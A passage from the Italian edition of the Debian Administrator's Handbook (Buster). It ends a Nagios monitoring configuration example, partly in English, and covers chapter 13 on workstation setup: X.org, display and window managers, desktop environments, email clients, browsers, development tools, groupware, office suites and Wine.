use                   generic-host ; Name of host template to use

host_name             ftp-host

alias                 ftp.falcot.com

address               192.168.0.6

contact_groups        falcot-admins

hostgroups            debian-servers,ssh-servers

}

# 'check_ftp' command with custom parameters

define command{

command_name          check_ftp2

command_line          /usr/lib/nagios/plugins/check_ftp -H $HOSTADDRESS$ -w 20 -c 30 -t 35

}

# Generic Falcot service

define service{

name                  falcot-service

use                   generic-service

contact_groups        falcot-admins

register              0

}

# Services to check on www-host

define service{

use                   falcot-service

host_name             www-host

service_description   HTTP

check_command         check_http

}

define service{

use                   falcot-service

host_name             www-host

service_description   HTTPS

check_command         check_https

}

define service{

use                   falcot-service

host_name             www-host

service_description   SMTP

check_command         check_smtp

}

# Services to check on ftp-host

define service{

use                   falcot-service

host_name             ftp-host

service_description   FTP

check_command         check_ftp2

}

This configuration file describes two monitored hosts. The first one is the web server, and the checks are made on the HTTP (80) and secure-HTTP (443) ports. Nagios also checks that an SMTP server runs on port 25. The second host is the FTP server, and the check includes making sure that a reply comes within 20 seconds. Beyond this delay, a warning is emitted; beyond 30 seconds, the alert is deemed critical. The Nagios web interface also shows that the SSH service is monitored: this comes from the hosts belonging to the ssh-servers hostgroup. The matching standard service is defined in /etc/nagios4/conf.d/services_nagios2.cfg.

Notare l'uso dell'ereditarietà: un oggetto eredita da un altro oggetto tramite «use nome-genitore». L'oggetto genitore deve essere identificabile, il che richiede di dargli una proprietà «name identificatore». Se l'oggetto genitore non deve essere un oggetto reale, ma deve solo servire da genitore, una proprietà «register 0» dice a Nagios di non considerarlo e quindi di ignorare l'assenza di alcuni parametri che altrimenti sarebbero richiesti.

DOCUMENTAZIONE Elenco delle proprietà degli oggetti

A more in-depth understanding of the various ways in which Nagios can be configured can be obtained from the documentation hosted on https://assets.nagios.com/downloads/nagioscore/docs/nagioscore/4/en/index.html. It includes a list of all object types, with all the properties they can have. It also explains how to create new plugins.

APPROFONDIMENTI Controlli in remoto con NRPE

Molti plugin di Nagios permettono di controllare alcuni parametri locali di un host; se molte macchine hanno bisogno di questi controlli con un'installazione centrale che li riunisca, bisogna allestire il plugin NRPE (Nagios Remote Plugin Executor). Bisogna installare il pacchetto nagios-nrpe-plugin sul server Nagios e nagios-nrpe-server sugli host in cui bisogna eseguire i controlli locali. Quest'ultimo riceve la sua configurazione da /etc/nagios/nrpe.cfg. Questo file deve elencare i controlli che possono essere avviati da remoto e gli indirizzi IP delle macchine autorizzate ad attivarli. Dalla parte di Nagios, abilitare questi controlli remoti si riduce semplicemente ad aggiungere i servizi corrispondenti usando il nuovo comando check_nrpe.

[4]

→ http://gallery.munin-monitoring.org

Capitolo 13. Postazione di lavoro

Ora che i server sono stati allestiti, gli amministratori possono dedicarsi a installare le singole postazioni di lavoro e creare una configurazione tipica.

13.1. Configurazione del server X11

Un breve promemoria: X.org è la componente software che consente alle applicazioni grafiche di mostrare le finestre sullo schermo. Include un driver che usa in modo efficiente la scheda video. Le funzionalità offerte alle applicazioni grafiche sono esportate tramite un'interfaccia standard, X11 (Buster contiene la versione X11R7.7).

IN PROSPETTIVA X11, XFree86 e X.org

X11 è il sistema grafico usato più comunemente sul sistemi di tipo Unix (disponibile anche per Windows e Mac OS). In senso stretto, il termine "X11" si riferisce solo a una specifica del protocollo, ma è anche usato per riferirsi all'implementazione pratica.

X11 ha avuto un inizio difficile, ma gli anni '90 hanno visto emergere XFree86 come implementazione di riferimento perché era software libero, portabile e mantenuto da una comunità collaborativa. Tuttavia, il tasso di evoluzione è rallentato verso la fine quando il software riceveva solo nuovi driver. Quella situazione, insieme a un cambio di licenza molto controverso, ha portato al fork X.org nel 2004. Questa è attualmente l'implementazione di riferimento, e Debian Buster usa X.org versione 7.7.

Le attuali versioni di X.org sono in grado di rilevare automaticamente l'hardware disponibile: questo riguarda la scheda video e il monitor, oltre a tastiere e mouse; in effetti, è così comodo che il pacchetto non crea nemmeno più un file di configurazione /etc/X11/xorg.conf.

La configurazione della tastiera è attualmente impostata in /etc/default/keyboard. Questo file è usato per configurare sia la console testuale sia l'interfaccia grafica, ed è gestito dal pacchetto keyboard-configuration. Dettagli sulla configurazione della disposizione della tastiera sono disponibili in Sezione 8.1.2, «Configurare la tastiera».

Il pacchetto xserver-xorg-core fornisce un server X generico, come usato dalle versioni 7.x di X.org. Questo server è modulare e usa un insieme di driver indipendenti per gestire i molti diversi tipi di schede video. L'installazione di xserver-xorg assicura che sia il server che almeno un driver video siano installati.

Notare che se la scheda video rilevata non è gestita da nessuno dei driver disponibili, X.org cerca di usare i driver vesa and fbdev. VESA è un driver generico che dovrebbe funzionare ovunque, ma con capacità limitate (meno risoluzioni disponibili, nessuna accelerazione hardware per i giochi ed effetti visuali per il desktop, e così via) mentre fbdev funziona sopra il dispositivo framebuffer del kernel. Oggigiorno il server X può essere eseguito senza alcun privilegio amministrativo (questo era necessario per essere in grado di configurare lo schermo) e il suo file di log è memorizzato nella directory home dell'utente in ~/.local/share/xorg/Xorg.0.log, mentre è /var/log/Xorg.0.log per i server X avviati con privilegi di root e per le versioni precedenti a Debian 9 Stetch. Quel file di log è dove si dovrebbe guardare per sapere quale driver è attualmente in uso. Per esempio, il seguente frammento corrisponde a ciò che il driver intel produce quando è caricato:

(==) Matched intel as autoconfigured driver 0

(==) Matched modesetting as autoconfigured driver 1

(==) Matched vesa as autoconfigured driver 2

(==) Matched fbdev as autoconfigured driver 3

(==) Assigned the driver to the xf86ConfigLayout

(II) LoadModule: "intel"

(II) Loading /usr/lib/xorg/modules/drivers/intel_drv.so

EXTRA Driver proprietari

Alcuni produttori di schede video (principalmente NVIDIA) si rifiutano di pubblicare le specifiche hardware richieste per implementare dei buoni driver liberi. Tuttavia questi forniscono driver proprietari che permettono di usare il loro hardware. Questa politica è pessima perché, anche quando il driver fornito esiste, di solito non è sofisticato come dovrebbe essere; cosa più importante, non segue necessariamente gli aggiornamenti di X.org, il che potrebbe impedire di caricare correttamente (o del tutto) l'ultimo driver disponibile. Tale comportamento non è scusabile e si raccomanda di evitare questi produttori e favorire aziende più cooperative.

Se comunque ci si trova in possesso di tale scheda, si possono trovare i pacchetti richiesti nella sezione non-free: nvidia-driver per le schede NVIDIA. Servirà il corrispondente modulo del kernel. La compilazione del modulo può essere automatizzata installando i pacchetti nvidia-kernel-dkms (per NVIDIA).

Il progetto "nouveau" mira a sviluppare un driver per le schede NVIDIA che sia software libero ed è il driver predefinito che si ottiene per tali schede in Debian. In generale, il suo set di funzionalità e le prestazioni non eguagliano quelle del driver proprietario. In difesa degli sviluppatori, dovremmo menzionare che le informazioni necessarie possono essere raccolte solo tramite reverse engineering, il che rende le cose difficili. I driver liberi per le schede video ATI, chiamati "radeon" e "amdgpu", sono molto meglio da questo punto di vista, anche se spesso richiedono firmware non liberi dal pacchetto firmware-amd-graphics.

13.2. Personalizzazione dell'interfaccia grafica

13.2.1. Scelta di un display manager

L'interfaccia grafica fornisce solo uno spazio per la visualizzazione. Far girare il server X da solo porta soltanto ad uno schermo vuoto, che è il motivo per cui la maggior parte delle installazioni usano un display manager per visualizzare la richiesta di autenticazione ed avviare il desktop grafico dopo che l'utente si è autenticato. I tre display manager attualmente più popolari sono gdm3 (GNOME Display Manager), sddm (consigliato per KDE Plasma) e lightdm (Light Display Manager). Poiché gli amministratori della Falcon Corp hanno optato per usare l'ambiente desktop GNOME, logicamente hanno scelto anche gdm3 come display manager. Il file di configurazione /etc/gdm3/daemon.conf ha molte opzioni (l'elenco può essere trovato nel file schema /usr/share/gdm/gdm.schemas) per controllare il suo comportamento mentre /etc/gdm3/greeter.dconf-defaults contiene le impostazioni per la "sessione" di benvenuto (più che una semplice finestra di login, è un desktop limitato con gestione dell'alimentazione e gli strumenti di accessibilità correlati). Si noti che alcune delle impostaziioni più utili per gli utenti finali possono essere modificate attraverso il pannello di controllo di GNOME.

13.2.2. Scelta di un window manager

Dal momento che ogni desktop grafico fornisce il proprio window manager, il gestore di finestre scelto è solitamente influenzato dal desktop selezionato. GNOME usa il window manager mutter, Plasma usa kwin e XFce (che sarà presentato in seguito) ha xfwm. La filosofia Unix permette sempre di usare il proprio window manager preferito, ma seguire le raccomandazioni permette a un amministratore di sfruttare al meglio gli sforzi di integrazione guidati da ciascun progetto.

FONDAMENTALI Window manager

Il window manager visualizza le «decorazioni» intorno alle finestre appartenenti alle applicazioni attualmente in esecuzione, comprese le cornici e la barra del titolo. Inoltre permette di ridurre, ripristinare, massimizzare e nascondere le finestre. Inoltre, la maggior parte dei window manager fornisce un menu che compare quando si fa clic sul desktop in un modo specifico. Questo menu fornisce i mezzi per chiudere la sessione del window manager, avviare nuove applicazioni e, in alcuni casi, passare a un altro window manager (se installato).

I computer più vecchi, tuttavia, potrebbero avere difficoltà a far girare ambienti desktop grafici pesanti. In questi casi, è opportuno usare una configurazione più leggera. I window manager "leggeri" (ad impatto ridotto) includono WindowMaker (nel pacchetto wmaker), Afterstep, fvwm, icewm, blackbox, fluxbox oppure openbox. In questi casi, si dovrebbe configurare il sistema in modo che il window manager appropriato abbia la precedenza; il modo standard è di cambiare l'alternativa x-window-manager con il comando update-alternatives --config x-window-manager.

PECULIARITÀ DI DEBIAN Alternative

La Debian policy elenca un certo numero di comandi standardizzati in grado di eseguire una certa azione. Per esempio, il comando x-window-manager invoca un window manager. Ma Debian non assegna questo comando a un window manager fissato. L'amministratore può scegliere quale manager deve invocare.

Per ogni window manager, il pacchetto relativo registra perciò il comando appropriato come possibile scelta per x-window-manager insieme a una priorità associata. A meno di una configurazione esplicita da parte dell'amministratore, questa priorità permette di scegliere il miglior window manager installato quando viene lanciato il comando generico.

Sia la registrazione dei comandi e la configurazione esplicita richiedono lo script update-alternatives. Scegliere dove punta un comando simbolico si riduce semplicemente a lanciare update-alternatives --config comando-simbolico. Lo script update-alternatives crea (e mantiene) collegamenti simbolici nella directory /etc/alternatives/, che a loro volta indicano la posizione dell'eseguibile. Col passare del tempo i pacchetti vengono installati o rimossi e/o l'amministratore modifica esplicitamente la configurazione. Quando un pacchetto che fornisce un'alternativa viene rimosso, l'alternativa punta automaticamente alla miglior scelta successiva fra i possibili comandi rimanenti.

Non tutti i comandi simbolici sono elencati esplicitamente dalla Debian policy; alcuni manutentori dei pacchetti Debian hanno deliberatamente scelto di usare questo meccanismo in casi meno ovvi dove fornisce comunque un'interessante flessibilità (gli esempi includono x-www-browser, www-browser, cc, c++, awk e così via).

13.2.3. Gestione dei menu

I moderni ambienti desktop e molti window manager forniscono dei menu che elencano le applicazioni disponibili all'utente. Per poter mantenere i menu aggiornati con l'effettivo insieme di applicazioni disponibili, ogni pacchetto fornisce, di solito, un file .desktop in /usr/share/applications. Il formato di questi file è stato standardizzato da FreeDesktop.org:

→ https://standards.freedesktop.org/desktop-entry-spec/latest/

I menu delle applicazioni possono essere ulteriormente personalizzati da parte degli amministratori attraverso i file di configurazione a livello di sistema come descritto dal “Desktop Menu Specification”. Gli utenti finali possono anche personalizzare i menu con strumenti grafici come kmenuedit (in Plasma), alacarte (in GNOME) o menulibre.

→ https://standards.freedesktop.org/menu-spec/latest/

STORIAIl menu di sistema di Debian

Storicamente — prima che emergessero gli standard di FreeDesktop.org — Debian aveva creato un proprio sistema di menu dove ciscun pacchetto forniva una descrizione generica delle voci di menu desiderate in /usr/share/menu/. Questo strumento è ancora disponibile in Debian (nel pacchetto menu) ma è solo marginalmente utile poichè i manutentori dei pacchetti sono invece incoraggiati a fare affidamento sui file .desktop.

13.3. Desktop grafici

Il campo dei desktop grafici liberi è dominato da due grandi raccolte di software: GNOME e Plasma di KDE. Entrambi sono molto popolari. Questo è un caso piuttosto raro nel mondo del software libero; il server web Apache, per esempio, ha ben pochi suoi pari.

Questa diversità ha radici storiche. Plasma (inizialmente solo KDE, che ora è il nome della comunità) è stato il primo progetto di desktop grafico, ma ha scelto il toolkit grafico Qt e questa scelta non era accettabile per un gran numero di sviluppatori. Qt non era software libero e fu iniziato GNOME basato sul toolkit GTK+. Nel frattempo Qt diventò software libero, ma i progetti si sono comunque evoluti in parallelo.

Le comunità GNOME e KDE lavorano ancora insieme: sotto l'ombrello di FreeDesktop.org, i progetti hanno collaborato alla definizione di standard per l'interoperabilità fra applicazioni.

Scegliere «il miglior» desktop grafico è un argomento sensibile da cui è meglio stare alla larga. Qui si descriveranno semplicemente le diverse possibilità e si daranno dei riferimenti per ulteriori riflessioni. La scelta migliore verrà fatta dall'utente dopo diversi esperimenti.

13.3.1. GNOME

Debian Buster include GNOME versione 3.30, che si può installare con un semplice apt install gnome (si può anche installare scegliendo il task "ambiente desktop grafico").

GNOME è degno di nota per i suoi sforzi sull'usabilità e l'accessibilità. Professionisti della progettazione sono stati impegnati nella scrittura di standard e raccomandazioni, che hanno aiutato gli sviluppatori a creare interfacce grafiche utente appaganti. Il progetto inoltre riceve incoraggiamenti dai grandi attori dell'informatica come Intel, IBM, Oracle, Novell e, ovviamente, diverse distribuzioni Linux. Infine, si possono usare molti linguaggi di programmazione per sviluppare applicazioni che si interfaccino con GNOME.

Figura 13.1. Il desktop GNOME

Per gli amministratori, GNOME sembra meglio preparato per distribuzioni su larga scala. La configurazione delle applicazioni è gestita attraverso l'interfaccia GSettings ed i dati memorizzati nel database GConf. Le impostazioni di configurazione possono essere richieste e modificate con gli strumenti a riga di comando gsettings, e dconf, oppure tramite l'interfaccia grafica dconf-editor. L'amministratore può perciò cambiare la configurazione degli utenti con un semplice script. Il sito web di GNOME fornisce informazioni per guidare gli amministratori incaricati di gestire le postazioni di lavoro GNOME:

→ https://help.gnome.org/admin/

13.3.2. KDE e Plasma

Debian Buster include la versione 5.14 di KDE Plasma, che può essere installata con apt install kde-standard.

Plasma ha avuto una rapida evoluzione basata su un approccio molto pratico. I suoi autori hanno ottenuto rapidamente buoni risultati, il che ha permesso loro di far crescere una larga base di utenti. Questi fattori hanno contribuito alla qualità globale del progetto. Plasma è un ambiente desktop perfettamente maturo con una vasta gamma di applicazioni.

Figura 13.2. Il desktop Plasma

Con il rilascio delle Qt 4.0, è stato risolto anche l'ultimo problema di licenza con KDE. Questa versione è stata rilasciata sotto al GPL sia per Linux che per Windows (la versione per Windows era precedentemente rilasciata sotto una licenza non libera). Le applicazioni KDE sono sviluppate principalmente usando il linguaggio C++.

13.3.3. Xfce e altri

Xfce è un desktop grafico semplice e leggero, il che è un abbinamento perfetto per computer con risorse limitate. Può essere installato con apt install xfce4. Come GNOME, Xfce si basa sul toolkit GTK+ ed i due desktop hanno diversi componenti in comune.

Al contrario di GNOME e Plasma, Xfce non mira a diventare un progetto vasto. Al di là delle componenti di base di un desktop moderno (file manager, window manager, session manager, un pannello per i lanciatori delle applicazioni e così via), fornisce solo alcune applicazioni specifiche: un terminale, un calendario (orage), un visualizzatore di immagini, uno strumento per masterizzare CD/DVD, un lettore multimediale (parole), un controllo per il volume audio ed un editor di testo (mousepad).

→ https://xfce.org/

Figura 13.3. Il desktop Xfce

13.3.4. Altri ambienti desktop

LXDE e LXQt sono due ambienti desktop che si concentrano sull'aspetto "leggero". Il primo è basato su GTK+ mentre il secondo è basato su Qt. Possono essere installati con i metapacchetti lxde e lxqt.

→ https://lxde.org/

→ https://lxqt.org/

Cinnamon e MATE sono entrambi nati quando GNOME 3 si è allontanato dal paradigma del desktop tradizionale, abbandonando il solito pannello e il suo menu in favore della nuova shell basata sulla ricerca. Il primo ha reintrodotto un pannello facendo il fork di GNOME Shell e il secondo è una continuazione di GNOME 2. Possono essere installati con i metapacchetti cinnamon-desktop-environment e mate-desktop-environment.

→ https://developer.linuxmint.com/projects/cinnamon-projects.html

→ https://mate-desktop.org/

13.4. Posta elettronica

13.4.1. Evolution

COMUNITÀ Pacchetti popolari

Installando il pacchetto popularity-contest si può partecipare a un sondaggio automatico che informa il progetto Debian sui pacchetti più popolari. Settimanalmente viene eseguito uno script da cron che invia (in HTTP o posta elettronica) una lista anonimizzata dei pacchetti installati e della data di ultimo accesso ai file che essi contengono. Ciò permette ai manutentori di Debian di sapere quali pacchetti sono installati più frequentemente e, tra questi, quanto frequentemente sono effettivamente utilizzati.

Questa informazione è di grande aiuto per il progetto Debian. Viene usata per determinare quali pacchetti debbano andare sui primi dischi di installazione. I dati sull'installazione inoltre sono un fattore importante usato per decidere se rimuovere dalla distribuzione un pacchetto con pochissimi utenti. Si raccomanda caldamente di installare il pacchetto popularity-contest e di partecipare al sondaggio.

I dati raccolti sono resi pubblici ogni giorno.

→ https://popcon.debian.org/

Queste statistiche possono inoltre aiutare gli utenti a scegliere fra due pacchetti che altrimenti sembrerebbero equivalenti. La scelta del pacchetto più popolare è probabilmente una scelta più sicura.

Evolution è il client GNOME per la posta elettronica e si può installare con apt install evolution. Esso è più di un semplice client per la posta elettronica: fornisce anche un calendario, una rubrica, una lista di compiti e un'applicazione per prendere appunti (note in forma libera). La sua componente di posta elettronica include un potente sistema di indicizzazione dei messaggi e permette la creazione di cartelle virtuali in base alle interrogazioni di ricerca su tutti i messaggi archiviati. In altre parole, tutti i messaggi sono memorizzati allo stesso modo ma visualizzati in un'organizzazione a cartelle, dove ciascuna cartella contiene i messaggi che corrispondono a un insieme di criteri di filtraggio.

Figura 13.4. Il software di posta elettronica Evolution

Un'estensione di Evolution permette l'integrazione con un sistema di posta elettronica Microsoft Exchange; il pacchetto richiesto è evolution-ews[5].

13.4.2. KMail

Il software di posta elettronica di KDE si può installare con apt install kmail. KMail gestisce solo la posta elettronica ma fa parte di una suite software chiamata KDE-PIM (ovvero Personal Information Manager) che include funzionalità quali rubriche, una componente per il calendario e così via. KMail ha tutte le funzionalità che ci si aspetterebbe da un ottimo client per la posta elettronica.

Figura 13.5. Il software di posta elettronica KMail

13.4.3. Thunderbird

Il pacchetto thunderbird fornisce il client di posta elettronica della suite software Mozilla. Sono disponibili diverse localizzazioni nei pacchetti thunderbird-l10n-*; l'estensione enigmail gestisce la cifratura e la firma dei messaggi, ma non è disponibile in tutte le lingue.

Figura 13.6. Il software di posta elettronica Thunderbird

[5] Il pacchetto evolution-ews non fa parte di Debian Buster. È stato rimosso durante il processo di rilascio a causa di un problema di sicurezza. Ma al momento in cui scriviamo è disponibile una versione più recente come backport (vedi Sezione 6.1.2.4, «Backport per Stable»).

13.5. Browser web

Epiphany, il browser web della suite GNOME, usa il motore di visualizzazione WebKit sviluppato da Apple per il suo browser Safari. Il relativo pacchetto è epiphany-browser.

Konqueror, disponibile nel pacchetto konqueror, è il browser web di KDE (ma può anche assumere il ruolo di file manager). Utilizza il motore di rendering KHTML specifico di KDE; KHTML è un motore eccellente, come testimonia il fatto che WebKit di Apple è basato su KHTML.

Gli utenti non soddisfatti da nessuno dei predetti programmi possono usare Firefox. Questo browser, disponibile nel pacchetto firefox-esr, utilizza il motore Gecko del progetto Mozilla, arricchito con un'interfaccia fine ed estensibile.

Figura 13.7. Il browser web Firefox

VOCABOLARIO Firefox ESR

Mozilla ha un ciclo di rilascio molto veloce per Firefox. Le nuove versioni vengono pubblicate ogni sei-otto settimane e solo l'ultima è supportata per problemi di sicurezza. Questo non si adatta a tutti gli utenti così, ogni 10 cicli, una delle versioni viene promossa ad Extended Support Release (ESR) che avrà aggiornamenti di sicurezza (e nessun cambiamento funzionale) durante i successivi 10 cicli (che copre un po' più di un anno).

Debian ha entrambe le versioni pacchettizzate. Quella ESR, nel pacchetto firefox-esr, è usata di default poiché è l'unica versione adatta a Debian Stable con il suo lungo periodo di supporto (e anche lì Debian deve aggiornare da una release ESR alla successiva più volte durante il ciclo di vita di Debian Stable). La versione regolare di Firefox è disponibile nel pacchetto firefox ma è disponibile solo per gli utenti di Debian Unstable.

CULTURA Iceweasel, Firefox e altri

Prima di Debian Stretch, Firefox e Thunderbird erano assenti. Il pacchetto iceweasel conteneva Iceweasel, che era fondamentalmente Firefox sotto un altro nome.

Il motivo dietro a questo cambio di nome era il risultato delle regole d'uso imposte dalla Mozilla Foundation sul marchio registrato Firefox™: qualunque software denominato Firefox doveva usare il logo e l'icona ufficiali di Firefox. Tuttavia, poiché questi elementi non erano stati rilasciati sotto una licenza libera, Debian non puteva distribuirli nella sua sezione main. Invece di spostare tutto il browser in non-free, il manutentore del pacchetto scelse di usare un nome diverso.

Per motivi simili, il client di posta elettronica Thunderbird™ è stato rinominato Icedove in modo simile.

Al giorno d'oggi, il logo e le icone sono distribuiti sotto una licenza di software libero e Mozilla ha riconosciuto che i cambiamenti fatti dal progetto Debian stanno rispettando il loro marchio registrato, quindi Debian è di nuovo in grado di distribuire le applicazioni di Mozilla sotto il loro nome ufficiale.

CULTURA Mozilla

Netscape Navigator era il browser standard quando il web cominciò a raggiungere le masse, ma perse terreno quando Microsoft mise Internet Explorer in bundle con Windows e firmò contratti con i produttori di computer che vietavano loro di preinstallare Netscape Navigator. Di fronte a questo fallimento, Netscape (l'azienda) ha deciso di «liberare» il suo codice sorgente, rilasciandolo sotto una licenza libera, per dargli nuova vita. Questo fu l'inizio del progetto Mozilla. Dopo molti anni di sviluppo, i risultati sono più che soddisfacenti: il progetto Mozilla ha sviluppato un motore di rendering (chiamato Gecko) che è fra i più conformi agli standard. Questo motore di rendering è usato in particolare dal browser Mozilla Firefox, che è uno dei browser principali.

Ultimo ma non meno importante, Debian contiene anche il browser web Chromium (disponibile nel pacchetto chromium). Questo browser è sviluppato da Google ed è diventato, in pochi anni, il più popolare. Il suo chiaro scopo è di rendere più attraenti i servizi web, sia ottimizzando le prestazioni del browser sia incrementando la sicurezza dell'utente. Il codice libero che fa funzionare Chromium è usato anche nella versione proprietaria chiamata Google Chrome™.

13.6. Sviluppo

13.6.1. Strumenti per GTK+ su GNOME

Anjuta (nel pacchetto anjuta) e GNOME Builder (nel pacchetto gnome-builder) sono ambienti di sviluppo integrati (IDE) ottimizzati per creare applicazioni GTK+ per GNOME. Glade (nel pacchetto glade) è un'applicazione progettata per creare interfacce grafiche GTK+ per GNOME e salvarle in un file XML. Questi file XML possono poi essere caricati dalla libreria condivisa GTK+ attraverso il suo componente GtkBuilder per ricreare le interfacce salvate; tale caratteristica può essere interessante, ad esempio, per i plugin che richiedono finestre di dialogo.

→ https://wiki.gnome.org/Apps/Builder

→ http://anjuta.org/

→ https://glade.gnome.org/

13.6.2. Strumenti per Qt

Le soluzioni equivalenti per le applicazioni QT sono KDevelop di KDE (nel pacchetto kdevelop) per l'ambiente di sviluppo, e Qt Designer (nel pacchetto qttools5-dev-tools) per la progettazione di interfacce grafiche per applicazioni Qt.

KDevelop è anche un IDE generico e fornisce plugin per altri linguaggi come Python e PHP e diversi sistemi di compilazione.

13.7. Lavoro collaborativo

13.7.1. Lavorare in gruppi: groupware

Gli strumenti di groupware tendono ad essere relativamente complessi da mantenere perchè includono diversi strumenti ed hanno esigenze non sempre facili da conciliare nel contesto di una distribuzione integrata. C'è quindi una lunga lista di pacchetti di groupware che erano disponibili in Debian ma che sono stati ritirati per mancanza di manutentori o incompatibilità con altri (più recenti) software in Debian. Questo è stato il caso di PHPGroupware, eGroupware, e Kolab.

→ https://www.egroupware.org/

→ https://www.kolab.org/

Comunque non tutto è perduto. Molte delle funzionalità tradizionalmente fornite dai software "groupware" sono sempre più integrate in software "standard". Ciò riduce la necessità di software di groupware specializzato. D'altra parte, ciò di solito richiede un server specifico. Citadel (nel pacchetto citadel-suite), Sogo (nel pacchetto sogo) e Kopano (nel pacchetto kopano-core) sono alternative disponibili in Debian Buster.

13.7.2. Lavoro collaborativo con FusionForge

FusionForge è uno strumento di sviluppo collaborativo che affonda le sue radici in SourceForge, un servizio di hosting per progetti di software libero. In generale ha lo stesso approccio basato sul modello standard di sviluppo del software libero. Il software stesso ha continuato a evolversi dopo che il codice di SourceForge è diventato proprietario. I suoi autori originali, la VA Software, hanno deciso di non rilasciare più versioni libere. La stessa cosa è accaduta di nuovo quando il primo fork (GForge) ha seguito la stessa strada. Poiché diverse persone e organizzazioni hanno partecipato allo sviluppo, l'attuale FusionForge include anche funzionalità che si rivolgono a un approccio più tradizionale allo sviluppo, oltre che a progetti non esclusivamente dedicati allo sviluppo del software.

FusionForge può essere visto come un amalgama di diversi strumenti dedicati alla gestione, al tracciamento e alla coordinazione di progetti. Questi strumenti possono più o meno essere classificati in tre famiglie:

- comunicazione: forum web, gestori di liste di posta e sistemi di annunci che permettono a un progetto di pubblicare notizie

- tracciamento: strumenti per controllare il progresso del progetto e programmare attività, tracciare bug, richiedere funzionalità o qualunque altro tipo di «ticket» e per eseguire sondaggi

- condivisione: gestore di documentazione per fornire un singolo archivio centrale per i documenti relativi a un progetto, gestore di file generici per il rilascio, sito web dedicato per ciascun progetto.

Poiché FusionForge si rivolge in gran parte a progetti di sviluppo, integra anche molti strumenti come CVS, Subversion, Git, Bazaar, Darcs, Mercurial e Arch per la gestione del controllo dei sorgenti (chiamato anche "gestione della configurazione" o "controllo versione"). Questi programmi mantengono una cronologia di tutte le revisioni di tutti i file tracciati (spesso file di codice sorgente) con tutti i cambiamenti che hanno subito e possono incorporare le modifiche quando diversi sviluppatori lavorano simultaneamente sulla stessa parte di un progetto.

La maggior parte di questi strumenti è accessibile o, addirittura, gestita tramite un'interfaccia web con un sistema di permessi granulare e notifiche via posta elettronica di alcuni eventi.

FusionForge non fa parte di Debian Stable. È un grande stack di software che è difficile da mantenere correttamente e di cui beneficiano solo pochi utenti che, di solito, sono abbastanza esperti da essere in grado di eseguire il backport del pacchetto da Debian Unstable.

ALTERNATIVA GitLab

FusionForge è stato usato per eseguire il servizio alioth.debian.org usato dal progetto Debian, e dai suoi sviluppatori, per la gestione e lo sviluppo collaborativo dei pacchetti per quasi un decennio. A causa di alcune limitazioni è stato chiuso nel 2018 e sostituito da un nuovo servizio alimentato da GitLab. Vedi riquadro STRUMENTO GitLab, Git repository hosting e molto altro.

13.8. Suite per l'ufficio

Le soluzioni per l'ufficio sono state a lungo considerate carenti nel mondo del software libero. Gli utenti necessitano di strumenti capaci di sostituire Microsoft Word ed Excel, ma questi sono così complessi che soluzioni alternative erano difficili da sviluppare. La situazione è cambiata quando Sun ha rilasciato il codice di StarOffice sotto una licenza libera come OpenOffice, un progetto che in seguito ha dato vita a LibreOffice, che è disponibile su Debian. Anche il progetto KDE ha la sua suite per ufficio, chiamata Calligra Suite (precedentemente KOffice) e GNOME, pur non offrendo una suite per ufficio completa, fornisce AbiWord come elaboratore di testi e Gnumeric come foglio elettronico. I vari progetti hanno ciascuno i loro punti di forza. Per esempio, il foglio di calcolo Gnumeric è migliore di OpenOffice.org/LibreOffice in alcuni campi, in particolare la precisione dei suoi calcoli. Sul fronte dell'elaborazione di testi, la suite LibreOffice è ancora all'avanguardia.

Un'altra importante funzionalità per gli utenti è la capacità di importare documenti Microsoft Office. Sebbene tutte le suite per l'ufficio hanno questa caratteristica, solo OpenOffice.org e LibreOffice sono adeguate per un uso quotidiano.

VISTA D'INSIEME LibreOffice sostituisce OpenOffice.org

I collaboratori di OpenOffice.org hanno creato una fondazione (The Document Foundation) per incoraggiare lo sviluppo del progetto. L'idea è stata discussa per molto tempo, ma l'evento decisivo è stato l'acquisizione di Sun da parte di Oracle. La nuova proprietà ha reso incerto il futuro di OpenOffice. Poiché Oracle ha rifiutato di entrare a far parte della fondazione, gli sviluppatori hanno dovuto rinunciare al nome OpenOffice.org. Questa suite per ufficio è ora conosciuta come LibreOffice ed è disponibile in Debian.

Dopo un periodo di relativa stagnazione di OpenOffice.org, Oracle ha donato il codice e i diritti associati alla Apache Software Foundation ed ora OpenOffice è un progetto Apache. Questo progetto non è attualmente disponibile in Debian ed è piuttosto moribondo se paragonato a LibreOffice.

LibreOffice e Calligra Suite sono disponibili rispettivamente nei pacchetti Debian libreoffice e calligra. Anche se il pacchetto gnome-office era precedentemente usato per installare una collezione di strumenti da ufficio come AbiWord e Gnumeric, questo pacchetto non fa più parte di Debian, con i singoli pacchetti separati.

I pacchetti specifici per LibreOffice sono distribuiti in pacchetti separati, in particolare libreoffice-l10n-* e libreoffice-help-*. Alcune caratteristiche come i dizionari ortografici, i modelli di sillabazione e i dizionari dei sinonimi sono in pacchetti separati, come myspell-*, hunspell-*, hyphen-* e mythes-*.

13.9. Emulazione di Windows: Wine

Nonostante tutti gli sforzi menzionati in precedenza, un certo numero di strumenti non ha ancora un equivalente sotto Linux, o per alcuni è assolutamente richiesta la versione originale. In questo caso possono essere comodi sistemi di emulazione di Windows. Il più noto fra essi è Wine.

→ https://www.winehq.org/

COMPLEMENTI CrossOver Linux

CrossOver, prodotto da CodeWeavers, è un insieme di miglioramenti a Wine che ampliano l'insieme disponibile di funzionalità emulate al punto che Microsoft Office diventa completamente usabile. Alcuni dei miglioramenti vengono periodicamente incorporati in Wine.

→ https://www.codeweavers.com/products/

Tuttavia, si tenga presente che è solo una soluzione fra le altre, ed il problema può essere affrontato anche con una macchina virtuale o con VNC; entrambe queste soluzioni sono descritte in dettaglio nei riquadri ALTERNATIVA Macchine virtuali e ALTERNATIVA Windows Terminal Server o VNC.

Cominciamo con un promemoria: l'emulazione permette di eseguire un programma (sviluppato per un sistema destinazione) su un diverso sistema host. Il software di emulazione usa il sistema host, dove gira l'applicazione, per imitare le funzionalità richieste del sistema destinazione.

Ora cerchiamo di installare i pacchetti richiesti (ttf-mscorefonts-installer è nella sezione contrib):

# apt install wine ttf-mscorefonts-installer

In un sistema a 64 bit (amd64), se le applicazioni di Windows sono applicazioni a 32 bit, allora si dovrà attivare multi-arch per essere in grado di installare wine32 dall'architettura i386 (si veda Sezione 5.4.5, «Supporto Multi-Arch»).

